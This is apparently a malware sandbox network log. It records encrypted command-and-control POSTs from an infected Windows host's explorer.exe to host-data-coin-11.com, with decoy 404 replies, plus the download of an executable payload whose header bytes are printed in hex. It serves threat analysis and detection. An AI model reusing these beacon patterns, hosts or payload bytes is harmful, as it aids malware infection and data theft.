Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49834	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:01.203716993 CET	11830	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://omcxl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: host-data-coin-11.com
Dec 1, 2021 10:05:01.203732967 CET	11830	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 5c c6 bc 00 Data Ascii: o:@ACFkUwmDu$f]d\#fF)ET77@flpPDe(00s.!__8LS@!+Cvwd@'",mvy;Y8\|2Nr\F59EmUopPna'ZQ
Dec 1, 2021 10:05:01.307280064 CET	12064	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49835	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:01.447958946 CET	12101	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhude.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 130 Host: host-data-coin-11.com
Dec 1, 2021 10:05:01.449491978 CET	12101	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 02 c2 9e 21 Data Ascii: o:@ACFkUwmDu$f]d!\H9'N2)hF@yoB;5"qR)
Dec 1, 2021 10:05:01.547652006 CET	12102	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef a8 8d 70 bc 57 da 4a d5 fe 24 85 21 ed c3 95 53 2f e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9KpWJ$!S/c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49836	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:01.644479036 CET	12102	OUT	GET /files/5311_1638303032_7343.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 10:05:01.730918884 CET	12104	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:01 GMT Content-Type: application/x-msdos-program Content-Length: 1143000 Connection: close Last-Modified: Tue, 30 Nov 2021 20:10:32 GMT ETag: "1170d8-5d2072645dc9e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 1c 69 a3 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 60 11 00 00 06 00 00 00 00 00 00 9e 7e 11 00 00 20 00 00 00 80 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 11 00 00 02 00 00 09 35 12 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 50 7e 11 00 4b 00 00 00 00 80 11 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 68 11 00 d8 08 00 00 00 a0 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 5e 11 00 00 20 00 00 00 60 11 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 02 00 00 00 80 11 00 00 04 00 00 00 62 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 11 00 00 02 00 00 00 66 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 11 00 00 00 00 00 48 00 00 00 02 00 05 00 00 18 02 00 dc 5f 05 00 03 00 00 00 da 07 00 06 dc 77 07 00 eb 89 06 00 c1 7d 11 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 0a 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 0d 00 04 00 00 00 00 00 00 00 00 00 14 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 14 2a 00 00 00 42 28 89 08 00 06 7e 53 02 00 04 28 81 0c 00 06 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpi0`~ @ 5@P~Kh H.text^ ` `.rsrcb@.relocf@B~H_w}B(~S(0B(~S(B(~S(000B(~S(***0B(~S(*0000B(~S(00B(~S(000B(~S(000
Dec 1, 2021 10:05:01.730963945 CET	12105	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 Data Ascii: 000000000000*0
Dec 1, 2021 10:05:01.730977058 CET	12107	IN	Data Raw: 00 00 00 00 00 00 00 00 00 14 2a 41 4c 00 00 02 00 00 00 c0 00 00 00 13 01 00 00 d3 01 00 00 5e 00 00 00 00 00 00 00 02 00 00 00 8c 00 00 00 a5 01 00 00 31 02 00 00 71 00 00 00 00 00 00 00 02 00 00 00 55 00 00 00 4d 02 00 00 a2 02 00 00 81 00 00 Data Ascii: AL^1qUM0AL:qgF0^0*AL?u
Dec 1, 2021 10:05:01.730993032 CET	12108	IN	Data Raw: 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 52 00 3f 91 00 5e 00 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 Data Ascii: 000R?^*************0C**0
Dec 1, 2021 10:05:01.731005907 CET	12109	IN	Data Raw: 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: ************00*"I"I*"I"I"I"I*
Dec 1, 2021 10:05:01.731024027 CET	12111	IN	Data Raw: 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 22 00 14 a5 46 00 00 01 2a 00 00 00 22 00 14 a5 46 00 00 01 2a 00 00 00 22 00 14 a5 46 00 00 01 2a 00 00 00 22 00 14 a5 46 00 00 01 2a 00 00 00 13 30 04 00 08 00 00 00 00 00 00 00 00 Data Ascii: 0"F"F"F"F0C****"["["["["["[j***
Dec 1, 2021 10:05:01.731040001 CET	12112	IN	Data Raw: 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 00 00 00 2c 00 3e 6a 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 00 00 00 2f 00 3e 6d 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 01 10 00 Data Ascii: 0,>jS0/>mS0>S00,0,>jS0,>jS0
Dec 1, 2021 10:05:01.731056929 CET	12113	IN	Data Raw: 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 16 6b 2a 01 10 00 00 00 00 00 00 11 11 00 0d 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 16 6b 2a 01 10 00 00 00 00 1b 00 11 2c 00 0d 11 00 00 01 22 00 14 a5 5a 00 00 01 2a 00 00 00 03 Data Ascii: S0k0k,"Z0Z,CoW0Z,CoS0ZCS0Z*0Z
Dec 1, 2021 10:05:01.731072903 CET	12115	IN	Data Raw: 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 40 40 00 08 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 40 40 00 0d 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 Data Ascii: @@0@@06606606600660660
Dec 1, 2021 10:05:01.731090069 CET	12116	IN	Data Raw: 2a 01 10 00 00 00 00 00 00 36 36 00 08 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 36 36 00 0d 11 00 00 01 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 Data Ascii: 66066006606606600660*660
Dec 1, 2021 10:05:01.789010048 CET	12118	IN	Data Raw: 10 00 00 00 00 2f 00 3e 6d 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 16 2a 01 10 00 00 00 00 9b 00 3e d9 00 53 11 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 16 2a 01 10 00 00 00 00 00 00 11 11 00 0d 11 00 00 01 03 30 08 Data Ascii: />mS0>S00,0,>jS0/>mS0>S0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49837	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:06.595227957 CET	14469	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rxjdalrcm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 230 Host: host-data-coin-11.com
Dec 1, 2021 10:05:06.595240116 CET	14470	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de be 66 5d 02 c9 a1 c1 64 40 df 82 25 Data Ascii: o:@ACFkUwmDu$f]d@%}r0vB:O;zE`%podu.Hdc0+VJ@#e_\.wxIHo"9L*FHXgF;8nMYT1yNGmSz&>
Dec 1, 2021 10:05:06.695252895 CET	14470	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49753	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:27.436376095 CET	1102	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://higvbe.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 283 Host: host-data-coin-11.com
Dec 1, 2021 10:04:27.436402082 CET	1102	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 3d 83 d6 02 Data Ascii: o:@ACFkUwmDu$f]d=Sj'(u?Ck8+SR-d76f0>]=:v/XC2{R;+dl.r59eFPNxjGw)TSnYE:L&' TD6I
Dec 1, 2021 10:04:27.537578106 CET	1103	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49838	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:06.794899940 CET	14471	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wxhnpjysno.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: host-data-coin-11.com
Dec 1, 2021 10:05:06.794919968 CET	14471	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bf 66 5d 02 c8 a1 c1 64 00 cb a6 71 Data Ascii: o:@ACFkUwmDu$f]dqTnBj\8MGa`V
Dec 1, 2021 10:05:06.893867970 CET	14472	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49839	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:07.005564928 CET	14473	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tiketfrip.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 130 Host: host-data-coin-11.com
Dec 1, 2021 10:05:07.005594969 CET	14473	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bc 66 5d 02 c8 a1 c1 64 55 b5 ca 78 Data Ascii: o:@ACFkUwmDu$f]dUxMg`i+WRAyEh}&6^'r;=
Dec 1, 2021 10:05:07.107167006 CET	14473	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49840	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:07.208173037 CET	14474	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://srvivkc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 194 Host: host-data-coin-11.com
Dec 1, 2021 10:05:07.208188057 CET	14474	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bd 66 5d 02 c8 a1 c1 64 39 c7 d7 1c Data Ascii: o:@ACFkUwmDu$f]d9=bv,y[,+(OjIt.s,j_+p(9tkI`:510H(L=C1`"'.dhr'
Dec 1, 2021 10:05:07.309169054 CET	14475	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49841	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:07.416822910 CET	14476	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jjguoq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 261 Host: host-data-coin-11.com
Dec 1, 2021 10:05:07.416865110 CET	14476	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de ba 66 5d 02 c8 a1 c1 64 01 da c4 64 Data Ascii: o:@ACFkUwmDu$f]dd+kuJ~F4b8uIXMf,I]HI}Hg}K=`\TnT*$Tk"C)ooGfn>+Gw6&n~0aVgS^E#VAGYr$P
Dec 1, 2021 10:05:07.525152922 CET	14477	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 